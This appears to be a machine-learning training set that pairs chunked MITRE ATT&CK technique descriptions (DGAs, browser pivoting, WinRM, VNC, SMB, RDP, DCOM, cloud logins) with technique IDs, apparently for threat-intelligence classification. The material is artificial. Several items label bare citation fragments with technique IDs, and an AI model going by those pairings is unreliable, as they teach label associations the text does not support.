instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation:", "output": "T1483", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Akamai DGA Mitigation)", "output": "T1483", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Akamai DGA Mitigation) ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).", "output": "T1483", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation:", "output": "T1483", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye POSHSPY April 2017)(Citation:", "output": "T1483", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye POSHSPY April 2017)(Citation: ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET Sednit 2017 Activity)", "output": "T1483", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Sednit 2017 Activity) ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions)", "output": "T1185", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) ### Response: T1185."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.", "output": "T1185", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights. ### Response: T1185."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic.", "output": "T1185", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. ### Response: T1185."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed.", "output": "T1185", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. ### Response: T1185."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary assumes the security context of whichever browser process the proxy is injected into.", "output": "T1185", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary assumes the security context of whichever browser process the proxy is injected into. ### Response: T1185."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly.", "output": "T1185", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. ### Response: T1185."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions.", "output": "T1185", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. ### Response: T1185."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)", "output": "T1185", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual) ### Response: T1185."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM).", "output": "T1021.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). ### Response: T1021.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)", "output": "T1021.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) ### Response: T1021.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)", "output": "T1021.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI) ### Response: T1021.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software.", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands.", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network.", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation:", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Havana authentication bug)", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Havana authentication bug) ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB).", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux and macOS implementations of SMB typically use Samba.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux and macOS implementations of SMB typically use Samba. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example network shares include `C$`, `ADMIN$`, and `IPC$`.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example network shares include `C$`, `ADMIN$`, and `IPC$`. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation:", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Admin Shares)", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Admin Shares) ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password.", "output": "T1021.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. ### Response: T1021.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP).", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote desktop is a common feature in operating systems.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote desktop is a common feature in operating systems. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware) ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM).", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation:", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft COM)", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft COM) ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation:", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN WMI)", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN WMI) ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods.", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), 